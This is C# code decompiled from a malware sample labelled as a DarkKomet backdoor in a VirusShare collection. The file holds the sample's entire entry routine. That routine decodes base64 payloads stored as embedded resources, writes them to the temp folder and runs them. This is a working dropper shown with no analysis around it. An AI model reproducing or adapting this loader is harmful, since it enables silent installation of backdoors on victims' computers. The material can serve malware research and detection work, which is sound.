// Decompiled with JetBrains decompiler // Type: Hallo // Assembly: zizoppo, Version=3.8.5.2, Culture=neutral, PublicKeyToken=null // MVID: 776D0F53-66DC-4E83-8E1F-AD5C9AC6BB88 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.DarkKomet.fldf-a9d4567ebbd6694447e294638aaae741f46b88c075b72d0ece6fca0b69eb820f.exe using Microsoft.VisualBasic.CompilerServices; using System; using System.Collections; using System.Diagnostics; using System.Globalization; using System.IO; using System.Reflection; using System.Resources; [StandardModule] internal sealed class Hallo { [STAThread] public static void Main() { ResourceManager resourceManager = new ResourceManager("D54D561D", Assembly.GetExecutingAssembly()); object resourceSet = (object) resourceManager.GetResourceSet(CultureInfo.CurrentCulture, true, true); try { foreach (object obj in (IEnumerable) resourceSet) { DictionaryEntry dictionaryEntry1; DictionaryEntry dictionaryEntry2 = obj != null ? (DictionaryEntry) obj : dictionaryEntry1; int offset = 0; byte[] array = Convert.FromBase64String(Conversions.ToString(resourceManager.GetObject(Conversions.ToString(dictionaryEntry2.Key)))); FileStream fileStream = new FileStream(Conversions.ToString(Operators.ConcatenateObject((object) Path.GetTempPath(), dictionaryEntry2.Key)), FileMode.Create); int length = array.Length; fileStream.Write(array, offset, length); fileStream.Close(); NewLateBinding.LateCall((object) null, typeof (Process), "Start", new object[1] { Operators.ConcatenateObject((object) Path.GetTempPath(), dictionaryEntry2.Key) }, (string[]) null, (Type[]) null, (bool[]) null, true); } } finally { IEnumerator enumerator; if (enumerator is IDisposable) (enumerator as IDisposable).Dispose(); } } }